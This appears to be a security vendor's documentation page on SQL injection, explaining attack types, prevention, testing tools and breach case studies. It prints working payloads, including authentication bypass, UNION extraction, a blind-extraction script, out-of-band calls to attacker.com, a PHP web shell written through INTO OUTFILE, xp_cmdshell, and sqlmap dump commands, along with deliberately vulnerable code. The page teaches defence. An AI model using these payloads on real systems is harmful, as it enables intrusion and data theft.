Documentation

SQL Injection Attacks

SQL Injection Attack Illustration

A code injection attack where malicious SQL statements are inserted into application input fields, allowing attackers to manipulate database queries, steal data, bypass authentication, or execute administrative operations on the database.

CRITICAL SEVERITY OWASP TOP 10 #3 DATABASE ATTACK


What is SQL Injection?

Critical Vulnerability

SQL Injection consistently ranks in the OWASP Top 10 most critical web application security risks. A successful attack can expose entire databases, bypass authentication, and compromise sensitive user data. It's been responsible for some of the biggest data breaches in history.

In Simple Terms:

SQL Injection is like a burglar who tricks your house's security system by speaking its own language. Instead of breaking down the door, the attacker speaks the "database language" (SQL) to trick the website into giving them access to information they shouldn't see.

Think of it this way: Imagine a bank teller who takes your request written on a piece of paper. Normally, you write "Show me my account balance." But what if you could write "Show me my account balance AND also show me everyone else's account balance"? That's essentially what SQL Injection does to websites.


Understanding SQL Injection (Real-World Analogy)

The Coffee Shop Analogy

You walk into a coffee shop and tell the barista: "Give me a coffee for John."

The barista checks the list and gives you John's coffee. Simple, right?

Now imagine you say: "Give me a coffee for John OR give me all the coffees."

If the barista blindly follows your instruction, you'd get everyone's coffee!

That's exactly how SQL Injection works on websites. The database follows instructions literally without questioning if they're malicious.


How It Works: The Technical Process

Normal Login Flow

Username: john
Password: secret123
sqlSELECT * FROM users WHERE username = 'john' AND password = 'secret123'

If match found → Login successful If no match → Login failed

Hacker's Attack Flow

Username: admin' --
Password: anything
sqlSELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'

The -- symbol means "ignore everything after this" in SQL!

Database finds user 'admin' and never checks the password

Result: Hacker logs in as admin without knowing password!


Types of SQL Injection Attacks

1. In-Band SQL Injection (Direct Attack)

MOST COMMON

What Is It?

The attacker uses the same channel to launch the attack and gather results. Data is displayed directly in the application response.

Error-Based SQL Injection

How It Works

Attacker triggers database errors to extract information about the database structure.

Attack Example:

sqlhttp://shop.com/product?id=5'

Error Response:

Error: You have an error in your SQL syntax near 'id=5''
What Attackers Learn
  • Database type (MySQL, PostgreSQL, SQL Server)
  • Table names
  • Column names
  • Database structure
Prevention
python# SECURE: Hide error details
try:
    cursor.execute(query)
except Exception as e:
    logging.error(f"Database error: {str(e)}")
    return "An error occurred"  # Generic message

Union-Based SQL Injection

DATA EXTRACTION

Attack Process

Combines malicious query with legitimate one using UNION operator.

Normal Query:

sqlSELECT name, price FROM products WHERE id = 5

Attack Payload:

sql5' UNION SELECT username, password FROM users--

Result: Returns products AND user credentials!

Step-by-Step Attack
sql' ORDER BY 1--  # Works
' ORDER BY 2--  # Works
' ORDER BY 3--  # Error → 2 columns
sql' UNION SELECT 'text', 123--
sql' UNION SELECT username, password FROM users--
Code Examples (Multiple Languages)
python# DANGEROUS - Don't use!
username = request.GET['username']
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)

2. Blind SQL Injection (The Detective Attack)

ADVANCED TECHNIQUE

Sneaky Attack

When the application doesn't display results directly, attackers ask true/false questions to extract data character by character.

Boolean-Based Blind SQLi

Attack Methodology

Asks the database true/false questions and infers information from application behavior.

Testing if Admin Exists:

sql' AND (SELECT COUNT(*) FROM users WHERE username='admin') > 0--

If page loads normally: Admin exists If page errors: Admin doesn't exist

Extracting Password Character by Character
pythonimport requests

url = "http://example.com/product?id=1"
password = ""
chars = "abcdefghijklmnopqrstuvwxyz0123456789"

for position in range(1, 33):
    for char in chars:
        payload = f"' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),{position},1)='{char}'--"
        response = requests.get(url + payload)

        if "Product Name" in response.text:
            password += char
            print(f"Found: {char}")
            break

print(f"Admin password: {password}")

Time-Based Blind SQLi

TIMING ATTACK

Different Databases
sql' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)--

Logic: If response takes 5 seconds → condition is true → first character is 'a'

3. Out-of-Band SQL Injection

ADVANCED

External Channel

Attacker can't use the same channel to get results, so they force the database to make external connections to attacker-controlled servers.

SQL Server Example
sql'; EXEC xp_cmdshell('nslookup attacker.com')--
'; EXEC master..xp_dirtree '\\attacker.com\share'--
Oracle Example
sql' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote;]>'),'/l') FROM dual--

Real-World Attack Scenarios

Scenario 1: Authentication Bypass

CRITICAL

javascriptapp.post('/login', (req, res) => {
    const username = req.body.username;
    const password = req.body.password;

    // VULNERABLE!
    const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;

    db.query(query, (err, results) => {
        if (results.length > 0) {
            res.send('Login successful');
        }
    });
});
Username: admin' OR '1'='1
Password: anything

Resulting Query:

sqlSELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'

'1'='1' is always true → Authentication bypassed!

  • Attacker gains admin access
  • No password required
  • Complete account takeover

Scenario 2: Data Extraction

DATA BREACH

pythondef search_products(search_term):
    query = f"SELECT name, price, description FROM products WHERE name LIKE '%{search_term}%'"
    cursor.execute(query)
    return cursor.fetchall()
sql' UNION SELECT username, password, email FROM users--

Result: Returns product list + ALL usernames, passwords, and emails!

sql' UNION SELECT name, sql, NULL FROM sqlite_master WHERE type='table'--

Result: Reveals entire database structure

Scenario 3: Data Modification

DATA MANIPULATION

Vulnerable Update
javaString email = request.getParameter("email");
String userId = request.getParameter("userId");

String query = "UPDATE users SET email = '" + email + "' WHERE id = " + userId;
Statement stmt = connection.createStatement();
stmt.executeUpdate(query);
Attack Payload
email: [email protected]', password='hacked123' WHERE username='admin'--
userId: 1

Resulting Query:

sqlUPDATE users SET email = '[email protected]', password='hacked123' WHERE username='admin'--' WHERE id = 1

Result: Admin password changed to 'hacked123'!

Scenario 4: Remote Code Execution

SEVERE

System Compromise

In severe cases, SQL injection can lead to complete server takeover.

Writing Web Shell (MySQL)
sql' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

Then access:

http://example.com/shell.php?cmd=whoami

Result: Remote code execution on server!


Database-Specific Techniques

MySQL / MariaDB

sql# Database version
' UNION SELECT @@version--

# Current user
' UNION SELECT user()--

# List databases
' UNION SELECT schema_name FROM information_schema.schemata--

# List tables
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--

# List columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
sql' UNION SELECT LOAD_FILE('/etc/passwd')--
sql' UNION SELECT 'shell code' INTO OUTFILE '/tmp/shell.php'--

PostgreSQL

sql# Database version
' UNION SELECT version()--

# Current user
' UNION SELECT current_user--

# List tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--
sql'; COPY (SELECT '') TO PROGRAM 'whoami'--

Microsoft SQL Server

sql# Database version
' UNION SELECT @@version--

# List databases
' UNION SELECT name FROM master..sysdatabases--

# List tables
' UNION SELECT name FROM sysobjects WHERE xtype='U'--
sql'; EXEC xp_cmdshell 'whoami'--

Oracle

sql# Database version
' UNION SELECT banner FROM v$version--

# List tables
' UNION SELECT table_name FROM all_tables--

# List columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--

Prevention and Mitigation

1. Parameterized Queries (Prepared Statements)

MOST EFFECTIVE

Primary Defense

Parameterized queries (prepared statements) are the #1 defense against SQL injection. They ensure user input is always treated as data, never as code.

Python (Multiple Methods)
python# SECURE
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?",
               (username, password))
Node.js
javascript// SECURE
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
connection.query(query, [username, password], (error, results) => {
    // Handle results
});
PHP
php<?php
// SECURE
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute(['username' => $username, 'password' => $password]);
$results = $stmt->fetchAll();
?>
Java
java// SECURE
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
C# / .NET
csharp// SECURE
string query = "SELECT * FROM users WHERE username = @username AND password = @password";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@username", username);
cmd.Parameters.AddWithValue("@password", password);
SqlDataReader reader = cmd.ExecuteReader();

2. Input Validation and Sanitization

DEFENSE IN DEPTH

Whitelist Validation
pythonimport re

def validate_username(username):
    """Only allow alphanumeric and underscore"""
    if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
        raise ValueError("Invalid username format")
    return username

def validate_numeric_id(id_value):
    """Ensure it's a number"""
    try:
        return int(id_value)
    except ValueError:
        raise ValueError("ID must be numeric")

def validate_email(email):
    """Validate email format"""
    if not re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', email):
        raise ValueError("Invalid email format")
    return email
Input Sanitization (Last Resort)
javascriptconst mysql = require('mysql');
const connection = mysql.createConnection({...});

// Better than nothing, but prefer parameterized queries
const escaped_username = connection.escape(username);
const escaped_password = connection.escape(password);

3. Least Privilege Principle

ACCESS CONTROL

Database Permissions

Configure database users with only the minimum required permissions. Never use admin accounts for application connections.

sql-- Create limited user for application
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password_here';

-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON app_database.users TO 'webapp'@'localhost';
GRANT SELECT ON app_database.products TO 'webapp'@'localhost';

-- Deny dangerous operations
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
REVOKE EXECUTE ON *.* FROM 'webapp'@'localhost';
REVOKE DROP ON *.* FROM 'webapp'@'localhost';

4. Web Application Firewall (WAF)

REAL-TIME PROTECTION

ModSecurity Rule
apacheSecRule ARGS "@detectSQLi" \
    "id:1001,\
    phase:2,\
    block,\
    log,\
    msg:'SQL Injection Attack Detected'"
Custom WAF Rules
yamlwaf_rules:
  - rule_id: "sql_injection_001"
    pattern: "(?i)(union|select|insert|update|delete|drop|exec|script)"
    action: "block"
    severity: "critical"
    log: true

5. Error Handling

IMPORTANT

pythontry:
    cursor.execute(query)
except Exception as e:
    # DANGEROUS - Exposes database details
    return f"Database Error: {str(e)}"
pythonimport logging

try:
    cursor.execute(query)
except Exception as e:
    # Log internally for debugging
    logging.error(f"Database error: {str(e)}")
    # Show generic message to user
    return "An error occurred. Please try again later."

Testing and Detection

Automated Testing Tools

SECURITY TOOLS

Most popular automated SQL injection tool

bash# Basic URL scan
sqlmap -u "http://example.com/product?id=1"

# Scan with cookies
sqlmap -u "http://example.com/product?id=1" --cookie="session=abc123"

# POST request scan
sqlmap -u "http://example.com/login" --data="username=admin&password=test"

# Database enumeration
sqlmap -u "http://example.com/product?id=1" --dbs

# Extract tables
sqlmap -u "http://example.com/product?id=1" -D database_name --tables

# Dump specific table
sqlmap -u "http://example.com/product?id=1" -D database_name -T users --dump

Free web application security scanner

  • Automated scanning
  • Active and passive scanning modes
  • Spider functionality
  • Custom policies

Professional web security testing platform

  • Intruder for custom payloads
  • Scanner for automated detection
  • Repeater for manual testing
  • Extensions marketplace

Manual Testing Checklist

  • [ ] Test all input fields with special characters: ' " ; -- /* */
  • [ ] Test numeric parameters with non-numeric values
  • [ ] Test for error messages revealing database information
  • [ ] Test UNION-based injection
  • [ ] Test Boolean-based blind injection
  • [ ] Test time-based blind injection
  • [ ] Test second-order injection (stored then executed)
  • [ ] Review all database interaction code
  • [ ] Check for dynamic query construction
  • [ ] Test authentication bypass payloads

Real-World Case Studies

Case Study 1: Heartland Payment Systems (2008)

130M RECORDS

SQL injection into payment processing system

  • 130 million credit card numbers
  • Cardholder names
  • Expiration dates
  • CVV codes
  • $140 million in fines and settlements
  • Loss of payment card industry compliance
  • Reputation damage
  • Stock price plummeted

Even major corporations with security budgets can fall victim to basic SQL injection if proper coding practices aren't followed.

Case Study 2: TalkTalk (2015)

£77M DAMAGES

SQL injection on legacy systems

  • 157,000 customer records compromised
  • Names, addresses, dates of birth
  • Email addresses
  • Phone numbers
  • TalkTalk account information
  • £77 million in costs and lost business
  • £400,000 regulatory fine
  • Loss of 95,000 customers
  • CEO resigned

Old, unmaintained code can create vulnerabilities even when newer systems are secure. Regular security audits of ALL code are essential.

Case Study 3: RockYou (2009)

32M PASSWORDS

SQL injection + passwords stored in plaintext

  • 32 million user passwords exposed
  • Passwords stored without encryption
  • Complete user database compromised
  • Social media account takeovers
  • Company reputation destroyed
  • Massive user trust loss
  • Regulatory investigations
  • Multiple lawsuits

Security Checklist

For Developers

DO

  • Use parameterized queries/prepared statements
  • Validate all user input with whitelists
  • Apply least privilege to database accounts
  • Hide error messages from users
  • Log suspicious activity
  • Use ORMs that auto-escape inputs
  • Regular code reviews
  • Security training

DON'T

  • Concatenate user input into SQL queries
  • Show database errors to users
  • Trust ANY user input
  • Use dynamic SQL unnecessarily
  • Grant excessive database privileges
  • Disable security features for convenience

For Security Teams

  • [ ] Implement WAF with SQL injection rules
  • [ ] Regular penetration testing
  • [ ] Automated vulnerability scanning
  • [ ] Monitor database query logs
  • [ ] Alert on suspicious patterns
  • [ ] Incident response plan
  • [ ] Regular security audits
  • [ ] Keep all software updated

For Users

TIPS

  • Use unique passwords for each site
  • Enable two-factor authentication
  • Monitor account activity
  • Change passwords after breaches
  • Use password managers
  • Be cautious with data sharing

How Layerd AI Protects Against SQL Injection

Layerd AI Cloud WAF provides comprehensive protection:

  • Real-time WAF: Blocks SQL injection attempts before they reach your database
  • AI-Powered Detection: Machine learning identifies new attack patterns
  • Automatic Patching: Virtual patching for known vulnerabilities
  • Query Analysis: Monitors database queries for suspicious patterns
  • Threat Intelligence: Updated attack signatures from global threat feeds
  • Compliance Reporting: Detailed logs for regulatory requirements

Protect your applications with Layerd AI's intelligent SQL injection defense.


Additional Resources


Last Updated: November 2025